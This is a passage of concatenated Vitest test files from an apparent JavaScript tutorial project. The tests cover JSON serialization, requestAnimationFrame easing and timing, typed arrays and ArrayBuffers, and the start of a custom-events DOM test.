this.createdAt.toISOString() } } } const user = new User('Alice', 'alice@example.com', 'secret') const json = JSON.stringify(user) const parsed = JSON.parse(json) expect(parsed.name).toBe('Alice') expect(parsed.email).toBe('alice@example.com') expect(parsed.password).toBeUndefined() expect(parsed.createdAt).toBe('2024-01-15T10:30:00.000Z') }) // From lines 465-480: toJSON receives key it('should pass property key to toJSON method', () => { const obj = { toJSON(key) { return key ? `Nested under "${key}"` : 'Root level' } } expect(JSON.stringify(obj)).toBe('"Root level"') expect(JSON.stringify({ data: obj })).toBe( '{"data":"Nested under \\"data\\""}' ) expect(JSON.stringify([obj])).toBe('["Nested under \\"0\\""]') }) }) // ============================================================ // CIRCULAR REFERENCES // From json-deep-dive.mdx lines 490-550 // ============================================================ describe('Circular References', () => { // From lines 495-505: Circular reference error it('should throw TypeError for circular references', () => { const obj = { name: 'Alice' } obj.self = obj expect(() => JSON.stringify(obj)).toThrow(TypeError) }) // From lines 510-540: Safe stringify with WeakSet it('should handle circular references with custom replacer', () => { function safeStringify(obj) { const seen = new WeakSet() return JSON.stringify(obj, (key, value) => { if (typeof value === 'object' && value !== null) { if (seen.has(value)) { return '[Circular Reference]' } seen.add(value) } return value }) } const obj = { name: 'Alice' } obj.self = obj const result = safeStringify(obj) expect(result).toBe('{"name":"Alice","self":"[Circular Reference]"}') }) // More complex circular reference it('should detect nested circular references', () => { function safeStringify(obj) { const seen = new WeakSet() return JSON.stringify(obj, (key, value) => { if (typeof value === 'object' && value !== null) { if (seen.has(value)) { return '[Circular]' } seen.add(value) } return value }) } const a = { name: 'a' } const b = { name: 'b', ref: a } a.ref = b const result = JSON.parse(safeStringify(a)) expect(result.name).toBe('a') expect(result.ref.name).toBe('b') expect(result.ref.ref).toBe('[Circular]') }) }) // ============================================================ // SERIALIZING SPECIAL TYPES // From json-deep-dive.mdx lines 560-680 // ============================================================ describe('Serializing Special Types', () => { // From lines 565-580: Dates round-trip it('should serialize and revive dates', () => { const event = { name: 'Meeting', date: new Date('2024-06-15') } const json = JSON.stringify(event) const parsed = JSON.parse(json, (key, value) => { if (key === 'date') return new Date(value) return value }) expect(parsed.name).toBe('Meeting') expect(parsed.date instanceof Date).toBe(true) }) // From lines 585-595: Maps and Sets become empty it('should show Maps and Sets serialize as empty objects by default', () => { const map = new Map([ ['a', 1], ['b', 2] ]) const set = new Set([1, 2, 3]) expect(JSON.stringify(map)).toBe('{}') expect(JSON.stringify(set)).toBe('{}') }) // From lines 600-650: Custom Map/Set serialization it('should serialize and revive Maps with custom replacer/reviver', () => { function replacer(key, value) { if (value instanceof Map) { return { __type: 'Map', entries: Array.from(value.entries()) } } if (value instanceof Set) { return { __type: 'Set', values: Array.from(value) } } return value } function reviver(key, value) { if (value && value.__type === 'Map') { return new Map(value.entries) } if (value && value.__type === 'Set') { return new Set(value.values) } return value } const data = { users: new Map([ ['alice', { age: 30 }], ['bob', { age: 25 }] ]), tags: new Set(['javascript', 'tutorial']) } const json = JSON.stringify(data, replacer) const restored = JSON.parse(json, reviver) expect(restored.users instanceof Map).toBe(true) expect(restored.users.get('alice')).toEqual({ age: 30 }) expect(restored.tags instanceof Set).toBe(true) expect(restored.tags.has('javascript')).toBe(true) }) // From lines 655-680: BigInt handling it('should throw when stringifying BigInt by default', () => { const data = { bigNumber: 12345678901234567890n } expect(() => JSON.stringify(data)).toThrow(TypeError) }) it('should serialize and revive BigInt with custom replacer/reviver', () => { function bigIntReplacer(key, value) { if (typeof value === 'bigint') { return { __type: 'BigInt', value: value.toString() } } return value } function bigIntReviver(key, value) { if (value && value.__type === 'BigInt') { return BigInt(value.value) } return value } const data = { id: 9007199254740993n } const json = JSON.stringify(data, bigIntReplacer) const restored = JSON.parse(json, bigIntReviver) expect(restored.id).toBe(9007199254740993n) }) }) // ============================================================ // COMMON PATTERNS AND USE CASES // From json-deep-dive.mdx lines 690-790 // ============================================================ describe('Common Patterns', () => { // From lines 695-705: Deep clone it('should deep clone simple objects using JSON', () => { const original = { a: 1, b: { c: 2 } } const clone = JSON.parse(JSON.stringify(original)) clone.b.c = 999 expect(original.b.c).toBe(2) expect(clone.b.c).toBe(999) }) // From lines 735-760: Logging with redaction it('should redact sensitive keys in logging', () => { function safeStringify(obj, sensitiveKeys = ['password', 'token', 'secret']) { return JSON.stringify( obj, (key, value) => { if (sensitiveKeys.includes(key.toLowerCase())) { return '[REDACTED]' } return value }, 2 ) } const data = { user: 'alice', password: 'secret123', data: { apiToken: 'abc123' } } const redacted = JSON.parse(safeStringify(data)) expect(redacted.user).toBe('alice') expect(redacted.password).toBe('[REDACTED]') }) }) // ============================================================ // TEST YOUR KNOWLEDGE - Q&A SECTION TESTS // From json-deep-dive.mdx lines 820-920 // ============================================================ describe('Test Your Knowledge', () => { // Q1: Functions omitted from objects it('should demonstrate functions being omitted from stringify', () => { const obj = { name: 'Alice', greet: function () { return 'Hi!' } } const json = JSON.stringify(obj) expect(json).toBe('{"name":"Alice"}') }) // Q2: Excluding properties with array replacer it('should demonstrate array replacer for whitelisting', () => { const user = { id: 1, name: 'Alice', password: 'secret' } const json = JSON.stringify(user, ['id', 'name']) expect(json).toBe('{"id":1,"name":"Alice"}') }) // Q3: Date parsing without reviver it('should show dates remain strings without reviver', () => { const original = { created: new Date('2024-01-15') } const json = JSON.stringify(original) const parsed = JSON.parse(json) expect(typeof parsed.created).toBe('string') }) // Q4: Difference between replacer and toJSON it('should show toJSON runs before replacer', () => { const log = [] const obj = { value: 1, toJSON() { log.push('toJSON called') return { converted: this.value } } } JSON.stringify(obj, (key, value) => { if (key !== '') log.push(`replacer: ${key}`) return value }) expect(log[0]).toBe('toJSON called') expect(log[1]).toBe('replacer: converted') }) // Q5: Circular reference handling it('should demonstrate WeakSet for circular reference detection', () => { const seen = new WeakSet() const obj = { name: 'test' } obj.self = obj const result = JSON.stringify(obj, (key, value) => { if (typeof value === 'object' && value !== null) { if (seen.has(value)) { return '[Circular]' } seen.add(value) } return value }) expect(result).toBe('{"name":"test","self":"[Circular]"}') }) // Q6: Space parameter clamping it('should demonstrate space parameter formatting', () => { const data = { name: 'Alice', age: 30 } const with2 = JSON.stringify(data, null, 2) const with4 = JSON.stringify(data, null, 4) const withTab = JSON.stringify(data, null, '\t') expect(with2).toContain(' "name"') expect(with4).toContain(' "name"') expect(withTab).toContain('\t"name"') }) }) // ============================================================ // EDGE CASES AND ERROR HANDLING // Additional tests for robustness // ============================================================ describe('Edge Cases', () => { it('should handle empty objects and arrays', () => { expect(JSON.stringify({})).toBe('{}') expect(JSON.stringify([])).toBe('[]') expect(JSON.parse('{}')).toEqual({}) expect(JSON.parse('[]')).toEqual([]) }) it('should handle nested objects', () => { const deep = { a: { b: { c: { d: 1 } } } } const json = JSON.stringify(deep) const parsed = JSON.parse(json) expect(parsed.a.b.c.d).toBe(1) }) it('should handle arrays with objects', () => { const data = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' } ] const json = JSON.stringify(data) const parsed = JSON.parse(json) expect(parsed).toEqual(data) }) it('should handle unicode strings', () => { const data = { emoji: '😀', chinese: '中文' } const json = JSON.stringify(data) const parsed = JSON.parse(json) expect(parsed.emoji).toBe('😀') expect(parsed.chinese).toBe('中文') }) it('should handle escaped characters in strings', () => { const data = { text: 'Line1\nLine2\tTabbed' } const json = JSON.stringify(data) const parsed = JSON.parse(json) expect(parsed.text).toBe('Line1\nLine2\tTabbed') }) it('should stringify null prototype objects', () => { const obj = Object.create(null) obj.name = 'Alice' const json = JSON.stringify(obj) expect(json).toBe('{"name":"Alice"}') }) it('should handle replacer that returns object wrapper', () => { const result = JSON.stringify({ x: 1 }, (key, value) => { if (key === '') { return { wrapper: value, meta: 'added' } } return value }) const parsed = JSON.parse(result) expect(parsed.wrapper.x).toBe(1) expect(parsed.meta).toBe('added') }) }) }) ================================================ FILE: tests/beyond/data-handling/requestanimationframe/requestanimationframe.test.js ================================================ import { describe, it, expect } from 'vitest' describe('requestAnimationFrame', () => { describe('Easing Functions', () => { const easing = { easeIn: (t) => t * t, easeOut: (t) => t * (2 - t), easeInOut: (t) => t < 0.5 ? 2 * t * t : -1 + (4 - 2 * t) * t, easeOutBounce: (t) => { if (t < 1 / 2.75) { return 7.5625 * t * t } else if (t < 2 / 2.75) { return 7.5625 * (t -= 1.5 / 2.75) * t + 0.75 } else if (t < 2.5 / 2.75) { return 7.5625 * (t -= 2.25 / 2.75) * t + 0.9375 } else { return 7.5625 * (t -= 2.625 / 2.75) * t + 0.984375 } } } describe('easeIn', () => { it('should return 0 when progress is 0', () => { expect(easing.easeIn(0)).toBe(0) }) it('should return 1 when progress is 1', () => { expect(easing.easeIn(1)).toBe(1) }) it('should return 0.25 when progress is 0.5 (quadratic)', () => { expect(easing.easeIn(0.5)).toBe(0.25) }) it('should start slow and end fast', () => { const firstQuarter = easing.easeIn(0.25) - easing.easeIn(0) const secondQuarter = easing.easeIn(0.5) - easing.easeIn(0.25) expect(firstQuarter).toBeLessThan(secondQuarter) }) }) describe('easeOut', () => { it('should return 0 when progress is 0', () => { expect(easing.easeOut(0)).toBe(0) }) it('should return 1 when progress is 1', () => { expect(easing.easeOut(1)).toBe(1) }) it('should return 0.75 when progress is 0.5', () => { expect(easing.easeOut(0.5)).toBe(0.75) }) it('should start fast and end slow', () => { const firstQuarter = easing.easeOut(0.25) - easing.easeOut(0) const lastQuarter = easing.easeOut(1) - easing.easeOut(0.75) expect(firstQuarter).toBeGreaterThan(lastQuarter) }) }) describe('easeInOut', () => { it('should return 0 when progress is 0', () => { expect(easing.easeInOut(0)).toBe(0) }) it('should return 1 when progress is 1', () => { expect(easing.easeInOut(1)).toBe(1) }) it('should return 0.5 when progress is 0.5', () => { expect(easing.easeInOut(0.5)).toBe(0.5) }) it('should be symmetric around 0.5', () => { const at025 = easing.easeInOut(0.25) const at075 = easing.easeInOut(0.75) expect(at025 + at075).toBeCloseTo(1) }) }) describe('easeOutBounce', () => { it('should return 0 when progress is 0', () => { expect(easing.easeOutBounce(0)).toBe(0) }) it('should return 1 when progress is 1', () => { expect(easing.easeOutBounce(1)).toBeCloseTo(1, 5) }) it('should produce values in range [0, 1]', () => { for (let t = 0; t <= 1; t += 0.1) { const value = easing.easeOutBounce(t) expect(value).toBeGreaterThanOrEqual(0) expect(value).toBeLessThanOrEqual(1.1) } }) }) }) describe('Animation Progress Calculation', () => { it('should calculate progress from 0 to 1 based on elapsed time', () => { const duration = 2000 const startTime = 1000 function calculateProgress(timestamp) { const elapsed = timestamp - startTime return Math.min(elapsed / duration, 1) } expect(calculateProgress(1000)).toBe(0) expect(calculateProgress(2000)).toBe(0.5) expect(calculateProgress(3000)).toBe(1) expect(calculateProgress(4000)).toBe(1) }) it('should calculate position based on progress', () => { const totalDistance = 400 function calculatePosition(progress) { return progress * totalDistance } expect(calculatePosition(0)).toBe(0) expect(calculatePosition(0.5)).toBe(200) expect(calculatePosition(1)).toBe(400) }) }) describe('Delta Time Calculation', () => { it('should calculate deltaTime correctly', () => { let lastTime = 0 const speed = 200 function calculateMovement(currentTime) { const deltaTime = (currentTime - lastTime) / 1000 lastTime = currentTime return speed * deltaTime } lastTime = 0 const movement60fps = calculateMovement(16.67) expect(movement60fps).toBeCloseTo(200 * 0.01667, 1) lastTime = 0 const movement30fps = calculateMovement(33.33) expect(movement30fps).toBeCloseTo(200 * 0.03333, 1) }) it('should produce approximately same distance at different frame rates', () => { const speed = 200 const totalTime = 1000 let position60fps = 0 for (let time = 16.67; time <= totalTime; time += 16.67) { position60fps += speed * (16.67 / 1000) } let position30fps = 0 for (let time = 33.33; time <= totalTime; time += 33.33) { position30fps += speed * (33.33 / 1000) } expect(position60fps).toBeCloseTo(200, -1) expect(position30fps).toBeCloseTo(200, -1) expect(Math.abs(position60fps - position30fps)).toBeLessThan(10) }) }) describe('Reusable Animation Function', () => { it('should apply easing function to progress', () => { const easeIn = t => t * t expect(easeIn(0.5)).toBe(0.25) function applyEasing(linearProgress, easingFn) { return easingFn(linearProgress) } expect(applyEasing(0, easeIn)).toBe(0) expect(applyEasing(0.5, easeIn)).toBe(0.25) expect(applyEasing(1, easeIn)).toBe(1) }) it('should clamp progress to 1 when time exceeds duration', () => { const duration = 1000 const startTime = 0 function getProgress(currentTime) { let progress = (currentTime - startTime) / duration if (progress > 1) progress = 1 return progress } expect(getProgress(500)).toBe(0.5) expect(getProgress(1000)).toBe(1) expect(getProgress(2000)).toBe(1) }) }) describe('Pausable Animation Class', () => { class Animation { constructor({ duration, timing, draw }) { this.duration = duration this.timing = timing this.draw = draw this.elapsed = 0 this.running = false this.lastTime = null } start() { if (this.running) return this.running = true this.lastTime = performance.now() } pause() { this.running = false } getProgress() { let progress = this.elapsed / this.duration if (progress > 1) progress = 1 return this.timing(progress) } } it('should track elapsed time and running state', () => { const anim = new Animation({ duration: 1000, timing: t => t, draw: () => {} }) expect(anim.elapsed).toBe(0) expect(anim.running).toBe(false) }) it('should not start multiple times if already running', () => { const anim = new Animation({ duration: 1000, timing: t => t, draw: () => {} }) anim.start() expect(anim.running).toBe(true) const initialLastTime = anim.lastTime anim.start() expect(anim.lastTime).toBe(initialLastTime) }) it('should pause and set running to false', () => { const anim = new Animation({ duration: 1000, timing: t => t, draw: () => {} }) anim.start() expect(anim.running).toBe(true) anim.pause() expect(anim.running).toBe(false) }) it('should apply timing function to progress', () => { const easeIn = t => t * t const anim = new Animation({ duration: 1000, timing: easeIn, draw: () => {} }) anim.elapsed = 500 expect(anim.getProgress()).toBe(0.25) anim.elapsed = 1000 expect(anim.getProgress()).toBe(1) }) }) describe('First Frame Handling', () => { it('should demonstrate the problem with improper initialization', () => { let lastTime = 0 function animateWrong(time) { const delta = time - lastTime lastTime = time return delta } const delta = animateWrong(5000) expect(delta).toBe(5000) }) it('should properly handle first frame with null check', () => { let lastTime = null function animateCorrect(time) { if (lastTime === null) { lastTime = time return null } const delta = time - lastTime lastTime = time return delta } const firstDelta = animateCorrect(5000) expect(firstDelta).toBeNull() const secondDelta = animateCorrect(5016.67) expect(secondDelta).toBeCloseTo(16.67, 1) }) }) }) ================================================ FILE: tests/beyond/data-handling/typed-arrays-arraybuffers/typed-arrays-arraybuffers.test.js ================================================ import { describe, it, expect } from 'vitest' /** * Tests for Typed Arrays & ArrayBuffers concept * Source: /docs/beyond/concepts/typed-arrays-arraybuffers.mdx */ describe('Typed Arrays & ArrayBuffers', () => { // ============================================================ // ARRAYBUFFER BASICS // From typed-arrays-arraybuffers.mdx lines ~10-20 // ============================================================ describe('ArrayBuffer Basics', () => { // From lines 10-20: Opening example it('should create a buffer with specified byte length', () => { const buffer = new ArrayBuffer(16) expect(buffer.byteLength).toBe(16) }) // From lines 70-80: Cannot access ArrayBuffer directly it('should not allow direct access to ArrayBuffer bytes', () => { const buffer = new ArrayBuffer(16) expect(buffer[0]).toBe(undefined) // Can't access directly! }) // From lines 85-95: ArrayBuffer slice it('should slice a portion of the buffer to a new ArrayBuffer', () => { const original = new ArrayBuffer(16) const sliced = original.slice(4, 8) expect(sliced.byteLength).toBe(4) expect(original.byteLength).toBe(16) // Original unchanged }) }) // ============================================================ // TYPED ARRAY CREATION // From typed-arrays-arraybuffers.mdx lines ~120-180 // ============================================================ describe('Creating Typed Arrays', () => { describe('From Length', () => { // From lines 125-135: Create from length it('should create a typed array with specified element count', () => { const uint8 = new Uint8Array(4) expect(uint8.length).toBe(4) expect(uint8.byteLength).toBe(4) expect(uint8[0]).toBe(0) // Initialized to zero }) }) describe('From Array', () => { // From lines 140-150: Create from regular array it('should create a typed array from a regular array', () => { const uint8 = new Uint8Array([10, 20, 30, 40]) expect(uint8[0]).toBe(10) expect(uint8[1]).toBe(20) expect(uint8.length).toBe(4) }) }) describe('From Buffer', () => { // From lines 155-170: Create view over buffer it('should create a view over an existing buffer', () => { const buffer = new ArrayBuffer(8) const int32 = new Int32Array(buffer) expect(int32.length).toBe(2) // 8 bytes / 4 bytes per int32 }) it('should create a partial view starting at an offset', () => { const buffer = new ArrayBuffer(8) const int16 = new Int16Array(buffer, 4) // Start at byte 4 expect(int16.length).toBe(2) // 4 remaining bytes / 2 bytes per int16 }) }) describe('From Another Typed Array', () => { // From lines 175-185: Copy with truncation it('should copy values with truncation when converting types', () => { const original = new Uint16Array([1000, 2000]) const copy = new Uint8Array(original) // Values truncated to 8 bits expect(copy[0]).toBe(232) // 1000 % 256 = 232 expect(copy[1]).toBe(208) // 2000 % 256 = 208 }) }) }) // ============================================================ // USING TYPED ARRAYS // From typed-arrays-arraybuffers.mdx lines ~190-220 // ============================================================ describe('Using Typed Arrays', () => { // From lines 190-205: Array-like operations it('should support array-like access', () => { const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5]) expect(numbers[0]).toBe(1.5) expect(numbers.length).toBe(4) }) it('should support iteration with for...of', () => { const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5]) const collected = [] for (const num of numbers) { collected.push(num) } expect(collected).toEqual([1.5, 2.5, 3.5, 4.5]) }) it('should support map, filter, and reduce', () => { const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5]) const doubled = numbers.map(x => x * 2) expect([...doubled]).toEqual([3, 5, 7, 9]) const sum = numbers.reduce((a, b) => a + b, 0) expect(sum).toBe(12) }) }) // ============================================================ // MULTIPLE VIEWS ON SAME BUFFER // From typed-arrays-arraybuffers.mdx lines ~230-280 // ============================================================ describe('Multiple Views on Same Buffer', () => { // From lines 235-260: Different views of same data it('should allow multiple views of the same buffer', () => { const buffer = new ArrayBuffer(4) // View as 4 separate bytes const bytes = new Uint8Array(buffer) bytes[0] = 0x12 bytes[1] = 0x34 bytes[2] = 0x56 bytes[3] = 0x78 // View the same bytes as a single 32-bit integer const int32 = new Uint32Array(buffer) // Little-endian: least significant byte first expect(int32[0].toString(16)).toBe('78563412') // View as two 16-bit integers const int16 = new Uint16Array(buffer) expect(int16[0].toString(16)).toBe('3412') expect(int16[1].toString(16)).toBe('7856') }) it('should reflect changes across all views of the same buffer', () => { const buffer = new ArrayBuffer(4) const uint8 = new Uint8Array(buffer) const uint32 = new Uint32Array(buffer) uint32[0] = 0x12345678 // Changes visible in uint8 view (little-endian order) expect(uint8[0]).toBe(0x78) expect(uint8[1]).toBe(0x56) expect(uint8[2]).toBe(0x34) expect(uint8[3]).toBe(0x12) }) }) // ============================================================ // DATAVIEW // From typed-arrays-arraybuffers.mdx lines ~290-360 // ============================================================ describe('DataView', () => { // From lines 295-320: DataView with different types it('should read and write different types at specific offsets', () => { const buffer = new ArrayBuffer(12) const view = new DataView(buffer) // Write different types at specific offsets view.setUint8(0, 255) // 1 byte at offset 0 view.setUint16(1, 1000, true) // 2 bytes at offset 1 (little-endian) view.setFloat32(3, 3.14, true) // 4 bytes at offset 3 (little-endian) view.setUint32(7, 42, true) // 4 bytes at offset 7 (little-endian) // Read them back expect(view.getUint8(0)).toBe(255) expect(view.getUint16(1, true)).toBe(1000) expect(view.getFloat32(3, true)).toBeCloseTo(3.14, 2) expect(view.getUint32(7, true)).toBe(42) }) // From lines 330-360: DataView methods it('should support all DataView getter/setter methods', () => { const dv = new DataView(new ArrayBuffer(24)) // Int8 dv.setInt8(0, -1) expect(dv.getInt8(0)).toBe(-1) // Uint8 dv.setUint8(1, 255) expect(dv.getUint8(1)).toBe(255) // Int16 (little-endian) dv.setInt16(2, -1000, true) expect(dv.getInt16(2, true)).toBe(-1000) // Uint16 (little-endian) dv.setUint16(4, 65000, true) expect(dv.getUint16(4, true)).toBe(65000) // Float32 (little-endian) dv.setFloat32(6, 3.14, true) expect(dv.getFloat32(6, true)).toBeCloseTo(3.14, 2) // Float64 (little-endian) dv.setFloat64(10, 3.14159265, true) expect(dv.getFloat64(10, true)).toBeCloseTo(3.14159265, 8) }) }) // ============================================================ // TEXT ENCODING/DECODING // From typed-arrays-arraybuffers.mdx lines ~440-470 // ============================================================ describe('Text Encoding and Decoding', () => { // From lines 445-460: TextEncoder and TextDecoder it('should convert string to bytes with TextEncoder', () => { const encoder = new TextEncoder() const bytes = encoder.encode("Hello 世界") expect(bytes).toBeInstanceOf(Uint8Array) expect(bytes[0]).toBe(72) // 'H' expect(bytes[1]).toBe(101) // 'e' expect(bytes[2]).toBe(108) // 'l' expect(bytes.length).toBe(12) // UTF-8: 6 ASCII + 6 for 2 Chinese chars }) it('should convert bytes to string with TextDecoder', () => { const encoder = new TextEncoder() const bytes = encoder.encode("Hello 世界") const decoder = new TextDecoder('utf-8') const text = decoder.decode(bytes) expect(text).toBe("Hello 世界") }) it('should decode ArrayBuffer directly', () => { const buffer = new ArrayBuffer(5) new Uint8Array(buffer).set([72, 101, 108, 108, 111]) // "Hello" const decoder = new TextDecoder('utf-8') expect(decoder.decode(buffer)).toBe("Hello") }) }) // ============================================================ // PROPERTIES AND METHODS // From typed-arrays-arraybuffers.mdx lines ~480-530 // ============================================================ describe('Properties and Methods', () => { describe('Properties', () => { // From lines 485-500: Typed array properties it('should have correct properties', () => { const arr = new Int32Array([1, 2, 3, 4]) expect(arr.length).toBe(4) // Number of elements expect(arr.byteLength).toBe(16) // Total bytes (4 elements × 4 bytes) expect(arr.byteOffset).toBe(0) // Offset into buffer expect(arr.buffer).toBeInstanceOf(ArrayBuffer) expect(Int32Array.BYTES_PER_ELEMENT).toBe(4) }) }) describe('set() Method', () => { // From lines 505-520: set() method it('should copy values from another array', () => { const target = new Uint8Array(10) const source = new Uint8Array([1, 2, 3]) target.set(source) // Copy to start target.set(source, 5) // Copy starting at index 5 expect([...target]).toEqual([1, 2, 3, 0, 0, 1, 2, 3, 0, 0]) }) }) describe('subarray() Method', () => { // From lines 525-535: subarray() shares buffer it('should create a view that shares the same buffer', () => { const original = new Uint8Array([1, 2, 3, 4, 5]) const view = original.subarray(2, 4) expect([...view]).toEqual([3, 4]) // Modifying the view affects the original view[0] = 99 expect(original[2]).toBe(99) // Original changed! }) }) }) // ============================================================ // COMMON MISTAKES // From typed-arrays-arraybuffers.mdx lines ~550-600 // ============================================================ describe('Common Mistakes', () => { describe('subarray() vs slice()', () => { // From lines 555-575: subarray vs slice it('should demonstrate that subarray shares the buffer', () => { const original = new Uint8Array([1, 2, 3, 4, 5]) const section = original.subarray(1, 4) section[0] = 99 expect(original[1]).toBe(99) // Original changed! }) it('should demonstrate that slice creates an independent copy', () => { const original = new Uint8Array([1, 2, 3, 4, 5]) const copy = original.slice(1, 4) copy[0] = 99 expect(original[1]).toBe(2) // Original unchanged }) }) describe('Overflow Behavior', () => { // From lines 580-600: Overflow wrapping it('should wrap values that exceed range (Uint8Array)', () => { const bytes = new Uint8Array([250]) bytes[0] += 10 expect(bytes[0]).toBe(4) // 260 - 256 = 4 (wraps around) }) it('should clamp values with Uint8ClampedArray', () => { const clamped = new Uint8ClampedArray([250]) clamped[0] += 10 expect(clamped[0]).toBe(255) // Clamped to max value }) it('should clamp negative values to zero with Uint8ClampedArray', () => { const clamped = new Uint8ClampedArray([10]) clamped[0] = -50 expect(clamped[0]).toBe(0) // Clamped to min value }) it('should demonstrate integer overflow in Uint8Array', () => { const arr = new Uint8Array(1) arr[0] = 300 expect(arr[0]).toBe(44) // 300 % 256 = 44 }) }) }) // ============================================================ // CONVERTING TO REGULAR ARRAYS // From typed-arrays-arraybuffers.mdx lines ~620-645 // ============================================================ describe('Converting to Regular Arrays', () => { // From lines 625-640: Array.from and spread it('should convert to regular array with Array.from', () => { const typed = new Uint8Array([1, 2, 3, 4, 5]) const array = Array.from(typed) expect(array).toEqual([1, 2, 3, 4, 5]) expect(Array.isArray(array)).toBe(true) }) it('should convert to regular array with spread operator', () => { const typed = new Uint8Array([1, 2, 3, 4, 5]) const array = [...typed] expect(array).toEqual([1, 2, 3, 4, 5]) expect(Array.isArray(array)).toBe(true) }) it('should convert regular array back to typed array', () => { const array = [1, 2, 3, 4, 5] const typed = new Uint8Array(array) expect(typed).toBeInstanceOf(Uint8Array) expect([...typed]).toEqual([1, 2, 3, 4, 5]) }) }) // ============================================================ // TYPED ARRAY TYPES // From typed-arrays-arraybuffers.mdx lines ~100-120 // ============================================================ describe('Typed Array Types', () => { it('should create Int8Array with correct range', () => { const arr = new Int8Array([127, -128, 200]) expect(arr[0]).toBe(127) expect(arr[1]).toBe(-128) expect(arr[2]).toBe(-56) // 200 wraps to -56 in signed 8-bit }) it('should create Int16Array with correct range', () => { const arr = new Int16Array([32767, -32768]) expect(arr[0]).toBe(32767) expect(arr[1]).toBe(-32768) }) it('should create Int32Array with correct range', () => { const arr = new Int32Array([2147483647, -2147483648]) expect(arr[0]).toBe(2147483647) expect(arr[1]).toBe(-2147483648) }) it('should create Float32Array with floating point values', () => { const arr = new Float32Array([3.14, -2.5, 1000.5]) expect(arr[0]).toBeCloseTo(3.14, 2) expect(arr[1]).toBeCloseTo(-2.5, 2) expect(arr[2]).toBeCloseTo(1000.5, 2) }) it('should create Float64Array with high precision floating point', () => { const arr = new Float64Array([3.141592653589793]) expect(arr[0]).toBe(3.141592653589793) }) it('should create BigInt64Array with BigInt values', () => { const arr = new BigInt64Array([BigInt('9007199254740993')]) expect(arr[0]).toBe(9007199254740993n) }) it('should create BigUint64Array with unsigned BigInt values', () => { const arr = new BigUint64Array([BigInt('18446744073709551615')]) expect(arr[0]).toBe(18446744073709551615n) }) }) // ============================================================ // BYTES_PER_ELEMENT // ============================================================ describe('BYTES_PER_ELEMENT', () => { it('should report correct bytes per element for each type', () => { expect(Int8Array.BYTES_PER_ELEMENT).toBe(1) expect(Uint8Array.BYTES_PER_ELEMENT).toBe(1) expect(Uint8ClampedArray.BYTES_PER_ELEMENT).toBe(1) expect(Int16Array.BYTES_PER_ELEMENT).toBe(2) expect(Uint16Array.BYTES_PER_ELEMENT).toBe(2) expect(Int32Array.BYTES_PER_ELEMENT).toBe(4) expect(Uint32Array.BYTES_PER_ELEMENT).toBe(4) expect(Float32Array.BYTES_PER_ELEMENT).toBe(4) expect(Float64Array.BYTES_PER_ELEMENT).toBe(8) expect(BigInt64Array.BYTES_PER_ELEMENT).toBe(8) expect(BigUint64Array.BYTES_PER_ELEMENT).toBe(8) }) }) // ============================================================ // FIXED LENGTH BEHAVIOR // ============================================================ describe('Fixed Length Behavior', () => { it('should not allow push, pop, or splice on typed arrays', () => { const arr = new Uint8Array([1, 2, 3]) expect(arr.push).toBe(undefined) expect(arr.pop).toBe(undefined) expect(arr.splice).toBe(undefined) expect(arr.shift).toBe(undefined) expect(arr.unshift).toBe(undefined) }) it('should not change length when setting out-of-bounds index', () => { const arr = new Uint8Array(3) arr[10] = 42 // Attempting to write beyond length expect(arr.length).toBe(3) // Length unchanged expect(arr[10]).toBe(undefined) // Value not stored }) }) // ============================================================ // ARRAYBUFFER ISVIEW // ============================================================ describe('ArrayBuffer.isView', () => { it('should return true for typed arrays', () => { expect(ArrayBuffer.isView(new Uint8Array(4))).toBe(true) expect(ArrayBuffer.isView(new Int32Array(4))).toBe(true) expect(ArrayBuffer.isView(new Float64Array(4))).toBe(true) }) it('should return true for DataView', () => { const buffer = new ArrayBuffer(8) const view = new DataView(buffer) expect(ArrayBuffer.isView(view)).toBe(true) }) it('should return false for ArrayBuffer itself', () => { const buffer = new ArrayBuffer(8) expect(ArrayBuffer.isView(buffer)).toBe(false) }) it('should return false for regular arrays', () => { expect(ArrayBuffer.isView([1, 2, 3])).toBe(false) }) }) // ============================================================ // BUFFER ACCESS // ============================================================ describe('Buffer Access', () => { it('should access underlying buffer from typed array', () => { const uint8 = new Uint8Array([1, 2, 3, 4]) const buffer = uint8.buffer expect(buffer).toBeInstanceOf(ArrayBuffer) expect(buffer.byteLength).toBe(4) // Create another view on the same buffer const uint32 = new Uint32Array(buffer) expect(uint32.length).toBe(1) }) }) // ============================================================ // CONCATENATION PATTERN // ============================================================ describe('Concatenating Typed Arrays', () => { it('should concatenate typed arrays manually', () => { const arr1 = new Uint8Array([1, 2, 3]) const arr2 = new Uint8Array([4, 5, 6]) // Create new array with combined length const combined = new Uint8Array(arr1.length + arr2.length) combined.set(arr1, 0) combined.set(arr2, arr1.length) expect([...combined]).toEqual([1, 2, 3, 4, 5, 6]) }) }) // ============================================================ // ENDIANNESS // ============================================================ describe('Endianness', () => { it('should demonstrate little-endian byte order in typed arrays', () => { const buffer = new ArrayBuffer(4) const uint32 = new Uint32Array(buffer) const uint8 = new Uint8Array(buffer) uint32[0] = 0x01020304 // Little-endian: least significant byte first expect(uint8[0]).toBe(0x04) // Least significant byte expect(uint8[1]).toBe(0x03) expect(uint8[2]).toBe(0x02) expect(uint8[3]).toBe(0x01) // Most significant byte }) it('should allow explicit endianness control with DataView', () => { const buffer = new ArrayBuffer(4) const view = new DataView(buffer) // Write big-endian (false = big-endian) view.setUint32(0, 0x01020304, false) const uint8 = new Uint8Array(buffer) // Big-endian: most significant byte first expect(uint8[0]).toBe(0x01) // Most significant byte expect(uint8[1]).toBe(0x02) expect(uint8[2]).toBe(0x03) expect(uint8[3]).toBe(0x04) // Least significant byte }) }) }) ================================================ FILE: tests/beyond/events/custom-events/custom-events.dom.test.js ================================================ /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' /** * DOM-specific tests for Custom Events concept page * Source: /docs/beyond/concepts/custom-events.mdx * * These tests require jsdom for DOM element interactions */ describe('Custom Events (DOM)', () => { let element let parent let child beforeEach(() => { // Create fresh DOM elements for each test element = document.createElement('div') element.id = 'testElement' document.body.appendChild(element) parent = document.createElement('div') parent.id = 'parent' child = document.createElement('button') child.id = 'child' parent.appendChild(child) document.body.appendChild(parent) }) afterEach(() => { // Clean up DOM document.body.innerHTML = '' }) describe('Dispatching Events', () => { // MDX lines ~170-185: The dispatchEvent() Method it('should dispatch custom events on elements', () => { const handler = vi.fn() element.addEventListener('customClick', handler) const 